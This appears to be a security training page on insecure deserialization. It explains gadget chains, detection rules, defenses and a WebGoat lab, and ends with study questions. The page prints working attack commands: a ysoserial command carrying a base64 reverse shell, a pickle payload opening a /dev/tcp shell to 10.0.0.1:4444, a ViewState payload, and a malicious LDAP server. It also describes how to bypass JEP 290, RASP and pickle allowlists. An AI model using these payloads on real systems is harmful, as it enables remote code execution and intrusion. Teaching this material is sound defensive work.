Skip to content

Insecure Deserialization

Insecure deserialization is when an application takes a byte stream and rebuilds an in-memory object graph from it without verifying the stream’s content. The stream can carry executable code — a readObject()-triggered “gadget chain” that runs at deserialization time. CVE-2015-4852 (Apache Commons Collections) was the original Java gadget chain that brought down WebLogic, JBoss, WebSphere, and Jenkins in 2015; CVE-2017-9805 was the Struts REST plugin; CVE-2021-44228 (Log4Shell) was technically a JNDI lookup gadget chain triggered through deserialization-adjacent sink. Python pickle and .NET BinaryFormatter are equally exploitable.

A serialized object stream encodes a type tree. The deserializer walks the stream, instantiates classes by name, and calls methods on those classes. If any of the classes have side effects in their constructor, readObject, readResolve, or equals/hashCode methods, an attacker who can submit a crafted stream gets those side effects to run with the application’s privileges.

Attacker submits: (base64-encoded serialized object)
│
│ POST /api/data HTTP/1.1
│ Cookie: session=rO0ABXNyABN...
▼
App calls ObjectInputStream.readObject(stream)
│
│ Stream contains class names + field values
│ Deserializer: Class.forName(name)
│ → invokes default constructor / readObject
▼
"Gadget" class's readObject() is reached:
│ e.g. InvokerTransformer.transform(...)
│ → Runtime.exec(cmd) via reflection chain
▼
Command executes in app JVM / .NET runtime / Python interpreter

A “gadget chain” is a sequence of classes where the deserializer’s call into one class’s readObject eventually reaches a dangerous sink (Runtime.getRuntime().exec, Class.forName, JNDI lookup, ProcessBuilder). ysoserial, ysoserial.net, and marshalsec are gadget-chain generators with ~50 known chains across popular Java libraries.

  1. Identify the sink — Java (ObjectInputStream.readObject), .NET (BinaryFormatter.Deserialize, LosFormatter, NetDataContractSerializer), Python (pickle.loads, yaml.load, marshal.loads), PHP (unserialize), Ruby (Marshal.load).
  2. Find a reachable gadget — for Java: ysoserial’s CommonsCollections1-7, CommonsBeanutils1, Groovy1, Spring1, Jdk7u21. For .NET: ysoserial.net ActivitySurrogateSelector, TextFormattingRunProperties, WindowsIdentity. For Python: a __reduce__ method on a class returning (os.system, ("cmd",)) is a complete gadget.
  3. Craft the payload — generate the byte stream, base64-encode (or whatever encoding the transport uses), deliver it through the sink. Cookie values, view-state parameters, RMI/JMX endpoints, JNDI lookups, JMS messages.
  4. Trigger deserialization — the application reads the cookie/param/file and calls the deserializer. The chain fires.
  5. Bypass mitigations — Java’s JEP 290 (serialization filter) lets you ObjectInputFilter block classes by name. Bypass: find a gadget that starts from a class on the allowlist, then calls into the actual gadget. There are published bypasses for several JEP 290 configs.
TechniqueDescriptionDetection Difficulty
Java ysoserial CommonsCollections1-7InvokerTransformer → ChainedTransformer → Runtime.execEasy — InvokerTransformer class name in stream
Java CommonsBeanutils1BeanComparator + PriorityQueue, no commons-collections neededMedium — fewer signatures
Java JNDI injectionInitialContext.lookup("ldap://attacker/Evil") → remote classloadMedium — depends on com.sun.jndi.ldap.object.trustURLCodebase
.NET BinaryFormatterysoserial.net ActivitySurrogateSelector gadgetEasy — BinaryFormatter is deprecated in .NET 5+
.NET ViewState__VIEWSTATE parameter → gadget via LosFormatterMedium — needs machineKey to forge valid MAC
Python pickle__reduce__ returns (os.system, ("cmd",))Easy — __reduce__ is the entire gadget
Ruby Marshal.loadERB::Compiler gadget via MarshalMedium — obscure
PHP unserialize__wakeup / __destruct magic methodsEasy — known PHP class signatures
RMI registry bindSend a Remote object whose stub contains a gadgetMedium — default JDK RMI ports
Terminal window
# Generate a Java ysoserial payload — CommonsCollections6, reverse shell via Runtime.exec
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}' \
| base64 -w0 > payload.b64
# Then send payload.b64 in the vulnerable parameter / cookie
# Generate a Python pickle payload with __reduce__
python3 -c "
import pickle, os, base64
class P:
def __reduce__(self):
return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"',))
print(base64.b64encode(pickle.dumps(P())).decode())
" > payload.b64
# .NET ysoserial.net — ViewState gadget with forged machineKey
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "calc.exe" --path=/default.aspx --apppath=/ --validationalg=SHA1 \
--validationkey=VALIDATIONKEY
# Java JNDI injection via marshalsec — start a malicious LDAP server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshasec.jndi.LDAPRefServer "http://attacker:8080/Exploit"
# Then payload: ysoserial generates payload that triggers InitialContext.lookup("ldap://attacker:1389/Evil")
# Detect sink in source
grep -rEnE '(?:ObjectInputStream|readObject|BinaryFormatter\.Deserialize|pickle\.loads|yaml\.load\b)' src/
# Inspect a Java serialized stream — magic bytes are 0xaced0005 (base64 rO0AB...)
echo "rO0ABXNyAB..." | base64 -d | xxd | head
# 00000000: aced 0005 7372 0017 ... ← aced 0005 = Java serialization magic
# nuclei deserialization templates
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags deserialization

ModSecurity OWASP CRS — Java serialized object detection is rule 932100 family (RCE patterns) when rO0AB appears in a request. CRS does not have dedicated deserialization rules; the assumption is that serialized object data should not be in user input at all. Notable:

  • 932100 — RCE — catches the base64 magic bytes rO0ABX if they appear unencoded
  • 920220 — Content-Type policy — block application/x-java-serialized-object
  • 932110 — RCE — Windows command injection
  • 932115 — RCE — Unix command injection

Suricata SID 2221031 — Java serialized object magic bytes in HTTP traffic [verify].

Sysmon Event ID 1 — ProcessCreate of cmd.exe / bash from java (JVM) parent — the canonical Java deserialization detection. Combined with Event ID 22 (DNS) for JNDI ldap:// callbacks.

MITRE ATT&CK T1190 — Exploit Public-Facing Application.

MITRE ATT&CK T1059 — Command and Scripting Interpreter (the chain execs a shell).

MITRE ATT&CK T1106 — Native API (deserialization chains often call Runtime.exec directly).

Wazuh rule 920/31100 — Java serialized object magic in HTTP request [verify].

Wazuh rule 87105 — Process spawned by Java JVM (parent java → child cmd/bash/powershell) [verify].

JEP 290 filter bypass. JEP 290 lets you set ObjectInputFilter that allowlists classes by pattern. If the allowlist permits java.util.*, an attacker crafts a gadget starting from java.util.PriorityQueue (allowed) that then chains into org.apache.commons.collections.Transformer (not allowed at top, but reached through Comparator). Defense: deep-class allowlist + use ObjectInputFilter.rejectOuterClass semantics. Most real-world filters are too permissive.

RASP bypass. Java RASP tools (Contrast, OpenRASP) hook Runtime.exec and ProcessBuilder.start. Bypass via JNDI — the deserialization chain calls InitialContext.lookup("ldap://...") which loads a remote class, and the remote class’s static initializer runs in a context that the RASP may not hook (the classloader path). Defense: hook classloader too, or block outbound LDAP from the JVM.

Pickle “trusted reduce” bypass. Python pickle allows find_class overrides; some apps allowlist module names. Bypass: use a class in an allowed module whose constructor calls into a dangerous function. Example: subprocess.Popen is in subprocess module; allowlist that doesn’t include subprocess.Popen but does include subprocess.check_output can still be tricked.

Custom serializers. Many frameworks use custom serializers (Kryo, Hessian, Jackson with polymorphic types). Each has its own gadget chain research. Hessian gadgets (CVE-2020-1938 - Hessian deserialization in Spring Hessian2) bypass Jackson’s DefaultTyping checks. Defense: disable polymorphic typing.

EvasionBypassesDefense
JEP 290 deep-class bypassShallow class allowlistDeep object-graph filtering (white-list every class in the chain)
JNDI instead of Runtime.execRASP hooks on Runtime.execBlock outbound LDAP/RMI from JVM network
__reduce__ returning allowed callablefind_class allowlistAllowlist by full (module, qualname) tuple
Hessian / Kryo custom streamJackson DefaultTyping checksDisable polymorphic typing for custom serializers
Encoded stream (base64/gzip)Magic-bytes-only detectorsDecode before detecting

⚠️ What caught me: A Java app had JEP 290 filter allowing java.util.*, java.lang.*, com.company.model.*. I spent hours trying PriorityQueue-based chains but kept hitting the filter at the second hop. The bypass: com.company.model.User was on the allowlist AND had a readObject that called Class.forName(userSpecifiedClass).newInstance() for some legacy “user-type extensibility” feature. The allowlist was defending against the gadget libraries — but the app’s own class was a clean gadget, and it was allowlisted by design. Lesson: an allowlist of class names is only as strong as the safety of every class on it. readObject of any allowlisted class is a potential gadget.

Container: OWASP WebGoat deserialization lesson, plus the nickcano/deserlab standalone Java target.

Terminal window
docker run --rm -p 8080:8080 -p 9090:9090 webgoat/goatandwolf
# Or, dedicated Java deserialization lab:
docker run --rm -p 8080:8080 -e DJANGO_DEBUG=1 nickcano/deserlab

Objective: identify a deserialization sink in WebGoat’s “Insecure Deserialization” stage; craft a CommonsCollections6 payload that fires whoami and prove RCE by capturing the output via the application’s error response.

Expected flag format: flag{java_deserialization_cc6_rce_confirmed}.

Detection that should fire: Sysmon Event ID 1 with java.exe parent → cmd.exe child. ModSecurity rule 932100 family if rO0ABX is in the raw request. Wazuh rule 87105 process-tree correlation.

Conceptual: why is deserialization called a “gadget chain” attack rather than a “code injection” attack? What is the conceptual difference?

Technical: walk through the Java CommonsCollections6 chain from ObjectInputStream.readObject to Runtime.getRuntime().exec. What is the role of PriorityQueue?

Scenario: a Java app uses JEP 290 with ObjectInputFilter rejecting all classes not matching java.util.* and com.app.model.*. Can you still exploit insecure deserialization? Describe a bypass or explain why not.

Why is Python’s pickle fundamentally insecure by design while json.load is not? What property of the pickle format makes __reduce__ a code-execution primitive?

Compare .NET BinaryFormatter (deprecated in .NET 5) with DataContractSerializer. Why did Microsoft deprecate BinaryFormatter and what makes DataContractSerializer safer?

→ W1 (OWASP Top 10 Overview) · W17 (API Security) · B5 (Buffer Overflow)